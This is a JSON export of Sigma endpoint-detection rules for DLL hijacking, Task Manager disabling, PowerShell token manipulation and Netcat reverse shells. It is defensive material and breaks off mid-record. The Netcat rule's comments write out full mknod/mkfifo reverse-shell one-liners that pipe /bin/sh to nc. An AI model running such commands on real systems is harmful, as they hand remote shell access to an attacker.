+  "rule_description": "Detects potential Windows DLL Hijacking via plasrv.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f2d6929c-142d-40dc-8ad3-c9a26eb24032",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078910Z",
+  "creation_date": "2026-03-23T11:45:34.078912Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078917Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fvenotify.yml",
+  "content": "title: DLL Hijacking via fvenotify.exe\nid: f2d6929c-142d-40dc-8ad3-c9a26eb24032\ndescription: |\n    Detects potential Windows DLL Hijacking via fvenotify.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fvenotify.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\FVEAPI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f2d6929c-142d-40dc-8ad3-c9a26eb24032",
+  "rule_name": "DLL Hijacking via fvenotify.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fvenotify.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f2ec73c6-8e51-4470-918d-f2e73ffe58be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620310Z",
+  "creation_date": "2026-03-23T11:45:34.620312Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620317Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/1ZRR4H/status/1575364104822444032",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_taskmgr.yml",
+  "content": "title: TaskMgr Disabled\nid: f2ec73c6-8e51-4470-918d-f2e73ffe58be\ndescription: |\n    Detects the disabling of the Windows Task Manager for a said user.\n    Attackers can use this registry modification to prevent users from starting the task manager, either to hide malicious payload, or to prevent users from killing it.\n    It is recommended to analyze the process responsible for the registry modification as well as to look for other malicious actions on the host.\nreferences:\n    - https://twitter.com/1ZRR4H/status/1575364104822444032\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2022/11/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr'\n        Details|contains: 'DWORD' # Any non-zero value works, not just DWORD (0x00000001)\n\n        # When the agent is under a lot of pressure, the parent information of a process can be missing.\n        # Exceptionnaly for this rule, because it triggers so frequently with a low severity, we will ignore\n        # its instances where the parent is missing.\n        # When the parent is missing, the ParentImage or ParentCommandLine field is also missing (it is not empty or null)\n        # so we can't easily match against that.\n        # Instead, we reverse the problem by requiring the ParentImage fields to contain a `\\`.\n        ProcessParentImage|contains: '\\'\n\n    filter_zero:\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_gpo_manual:\n        ProcessParentCommandLine: '?:\\windows\\system32\\mmc.exe ?:\\windows\\system32\\gpmc.msc'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\setuphost.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\configsecuritypolicy.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\msmpeng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    exclusion_kiosk_mode:\n        ProcessCommandLine: '?:\\Windows\\system32\\svchost.exe -k AssignedAccessManagerSvc -s AssignedAccessManagerSvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_userlock:\n        ProcessOriginalFileName:\n            - 'UlAgent.dll'\n            - 'ULAgentExe.exe'\n        ProcessSignature: 'IS Decisions SA'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_nomsecure:\n        ProcessOriginalFileName: 'NomSecure.exe'\n\n    exclusion_tsllksrv:\n        ProcessImage:\n            - '?:\\Windows\\System32\\TSLLkSrv.exe'\n            - '?:\\Windows\\SysWOW64\\TSLLkSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Esm Software'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f2ec73c6-8e51-4470-918d-f2e73ffe58be",
+  "rule_name": "TaskMgr Disabled",
+  "rule_description": "Detects the disabling of the Windows Task Manager for a said user.\nAttackers can use this registry modification to prevent users from starting the task manager, either to hide malicious payload, or to prevent users from killing it.\nIt is recommended to analyze the process responsible for the registry modification as well as to look for other malicious actions on the host.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f2f5d12c-024a-40f1-9ee3-d10af0223d55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613519Z",
+  "creation_date": "2026-03-23T11:45:34.613522Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613530Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://gtfobins.github.io/gtfobins/nc/",
+    "https://www.rufflabs.com/post/anatomy-of-reverse-shell-nc-pipe/",
+    "https://attack.mitre.org/techniques/T1059/004/"
+  ],
+  "name": "t1059_004_reverse_shell_netcat_linux.yml",
+  "content": "title: Reverse Shell Executed via Netcat (Linux)\nid: f2f5d12c-024a-40f1-9ee3-d10af0223d55\ndescription: |\n    Detects different suspicious usages of Netcat that are related to reverse shells.\n    A reverse shell is shell session that is initiated from a remote machine.\n    Attackers often use reverse shell to bypass firewall restrictions.\n    It is recommended to ensure the legitimacy of this execution and of the destination IP.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://gtfobins.github.io/gtfobins/nc/\n    - https://www.rufflabs.com/post/anatomy-of-reverse-shell-nc-pipe/\n    - https://attack.mitre.org/techniques/T1059/004/\ndate: 2022/07/01\nmodified: 2025/09/25\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Netcat\n    - classification.Linux.Behavior.NetworkActivity\n    - classification.Linux.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_exec:\n        Image|endswith:\n            - '/nc'\n            - '/nc.openbsd'\n            - '/nc.traditional'\n            - '/ncat'\n            - '/ncat.openbsd'\n            - '/ncat.traditional'\n            - '/netcat'\n            - '/netcat.openbsd'\n            - '/netcat.traditional'\n        CommandLine|contains: # TODO FIMXE: use regexp when available broadly\n            - ' -e '\n            - ' --exec '\n            - ' --lua-exec '\n            - ' -c '\n            - ' --sh-exec '\n\n    selection_fifo:\n        CommandLine|contains:\n            # mknod /tmp/backpipe p; /bin/sh </tmp/backpipe | nc 192.168.56.1 8888 > /tmp/backpipe\n            # mknod /tmp/backpipe p; /bin/sh </tmp/backpipe | nc 192.168.56.1 8888 | tee /tmp/backpipe\n            - 'mknod *sh*<*|*nc *>'\n            - 'mknod *sh*<*|*nc *|*tee'\n            - 'mknod *sh*<*|*nc.*>'\n            - 'mknod *sh*<*|*nc.*|*tee'\n            - 'mknod *sh*<*|*netcat *>'\n            - 'mknod *sh*<*|*netcat *|*tee'\n            # mknod /tmp/backpipe p; nc 192.168.56.1 8888 </tmp/backpipe|/bin/sh -i | tee /tmp/backpipe\n            # mknod /tmp/backpipe p; nc 192.168.56.1 8888 </tmp/backpipe|/bin/sh -i > /tmp/backpipe\n            - 'mknod *nc *<*|*sh*-i*|*tee'\n            - 'mknod *nc *<*|*sh*-i*>'\n            - 'mknod *nc.*<*|*sh*-i*|*tee'\n            - 'mknod *nc.*<*|*sh*-i*>'\n            - 'mknod *netcat *<*|*sh*-i*|*tee'\n            - 'mknod *netcat *<*|*sh*-i*>'\n            # rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc IP PORT > /tmp/f\n            - 'rm *mkfifo *cat *|*sh*-i*|*nc '\n            - 'rm *mkfifo *cat *|*sh*-i*|*nc. '\n\n    # Avoid false positive with script\n    filter_newline:\n        CommandLine|re: '.*\\n.*'\n\n    exclusion_sap:\n        ProcessGrandparentImage: '/usr/sap/hostctrl/exe/saposcol'\n        CommandLine|contains: 'sapsysinfo.sh'\n\n    # Yocto generates huge build commands that happen to match `selection_fifo` even though they aren't related\n    exclusion_yocto_sdk:\n        ParentImage: '/opt/yocto/*/usr/bin/make'\n\n    exclusion_makefile:\n        CommandLine|contains:\n            - '#include <asm'\n            - '#include <linux'\n            - '#include <time'\n\n    exclusion_sapsysinfo:\n        CommandLine|contains|all:\n            - 'sapsysinfo.sh'\n            - 'SAP SYSTEM INFORMATION TOOL'\n\n    exclusion_misc:\n        CommandLine|contains: 'Homebrew is only supported on macOS and Linux.'\n\n    exclusion_teleport:\n        CommandLine|contains|all:\n            - 'bash -c #!/bin/bash'\n            - 'set -euo pipefail'\n            - 'SCRIPT_NAME=\"teleport-installer\"'\n            - '# default values'\n            - 'ALIVE_CHECK_DELAY='\n\n    exclusion_kitty:\n        CommandLine|contains:\n            # https://github.com/kovidgoyal/kitty/blob/master/kittens/ssh/main.go#L138\n            - ' -o ControlMaster=auto -o ControlPath=* -o ControlPersist=yes -o ServerAliveInterval=60 -o ServerAliveCountMax=5 -o TCPKeepAlive=no '\n            # https://github.com/kovidgoyal/kitty/blob/167e6e73f724a2300afa9162703545101e905552/shell-integration/ssh/bootstrap.sh\n            - 'cleanup_on_bootstrap_exit() {*detect_python() {*detect_perl() {*kitty-ssh-kitten-untar-XXXXXXXXXXXX'\n\n    exclusion_containers:\n        Ancestors|contains:\n            - '|/usr/bin/podman|'\n            - '|/usr/bin/containerd|'\n            - '|/usr/bin/containerd-shim|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f2f5d12c-024a-40f1-9ee3-d10af0223d55",
+  "rule_name": "Reverse Shell Executed via Netcat (Linux)",
+  "rule_description": "Detects different suspicious usages of Netcat that are related to reverse shells.\nA reverse shell is shell session that is initiated from a remote machine.\nAttackers often use reverse shell to bypass firewall restrictions.\nIt is recommended to ensure the legitimacy of this execution and of the destination IP.\n",
+  "rule_creation_date": "2022-07-01",
+  "rule_modified_date": "2025-09-25",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f31c30d6-d2bc-479e-80d0-9dfe4442905b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097234Z",
+  "creation_date": "2026-03-23T11:45:34.097236Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097240Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nbtstat.yml",
+  "content": "title: DLL Hijacking via nbtstat.exe\nid: f31c30d6-d2bc-479e-80d0-9dfe4442905b\ndescription: |\n    Detects potential Windows DLL Hijacking via nbtstat.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'nbtstat.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\mswsock.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f31c30d6-d2bc-479e-80d0-9dfe4442905b",
+  "rule_name": "DLL Hijacking via nbtstat.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via nbtstat.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f32b5f47-e95e-4402-bce7-6fe706e1dc23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077436Z",
+  "creation_date": "2026-03-23T11:45:34.077438Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077443Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_imfsbcrypto.yml",
+  "content": "title: DLL Hijacking via imfsbCrypto.exe\nid: f32b5f47-e95e-4402-bce7-6fe706e1dc23\ndescription: |\n    Detects potential Windows DLL Hijacking via imfsbCrypto.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'imfsbCrypto.exe'\n        ImageLoaded|endswith: '\\imfsbDll.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\IObit\\'\n            - '?:\\Program Files (x86)\\IObit\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\IObit\\'\n            - '?:\\Program Files (x86)\\IObit\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'IObit CO., LTD'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f32b5f47-e95e-4402-bce7-6fe706e1dc23",
+  "rule_name": "DLL Hijacking via imfsbCrypto.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via imfsbCrypto.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f33622ab-17b6-47b5-9070-07f2decbaa7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610048Z",
+  "creation_date": "2026-03-23T11:45:34.610052Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610060Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtObjectManager/NtObjectFunctions.ps1",
+    "https://redteamrecipe.com/powershell-tips-tricks",
+    "https://attack.mitre.org/techniques/T1134/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1134_token_manipulation_powershell.yml",
+  "content": "title: Token Manipulation via PowerShell\nid: f33622ab-17b6-47b5-9070-07f2decbaa7e\ndescription: |\n    Detects token manipulation via PowerShell using the NtObjectManager module.\n    Token manipulation can be used by attackers to elevate privileges.\n    It is recommended to investigate the PowerShell command as well as subsequent signs of privilege escalation and determine their legitimacy.\nreferences:\n    - https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtObjectManager/NtObjectFunctions.ps1\n    - https://redteamrecipe.com/powershell-tips-tricks\n    - https://attack.mitre.org/techniques/T1134/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/05/02\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1134\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n      PowershellCommand|contains:\n        - 'Get-NtToken '\n        - 'Get-NtTokenPrivilege '\n        - 'Set-NtTokenPrivilege '\n        - 'Enable-NtTokenPrivilege '\n        - 'Disable-NtTokenPrivilege '\n        - 'Remove-NtTokenPrivilege '\n        - 'Format-NtToken '\n        - 'Copy-NtToken 